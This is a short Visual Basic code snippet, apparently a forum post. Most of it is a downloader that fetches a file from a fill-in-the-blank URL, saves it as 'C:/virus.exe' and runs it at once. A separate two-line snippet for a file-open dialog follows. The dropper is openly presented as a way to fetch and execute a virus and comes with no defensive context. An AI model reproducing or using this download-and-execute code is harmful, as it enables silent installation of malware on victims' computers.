Dim myInet As Object
Dim Lol() As Byte
Dim URL As String
Dim LocalX As String
URL = "your url"
LocalX = "C:/virus.exe"
Set myInet = CreateObject("InetCtls.Inet")
Lol() = myInet.OpenURL(URL, icByteArray)
Open LocalX For Binary Access Write As #1
Put #1, 1, Lol()
Close #1
Shell LocalX, vbNormalFocus
---------------------------------------------------------

CommonDialog1.ShowOpen
Text1.Text = CommonDialog1.FileName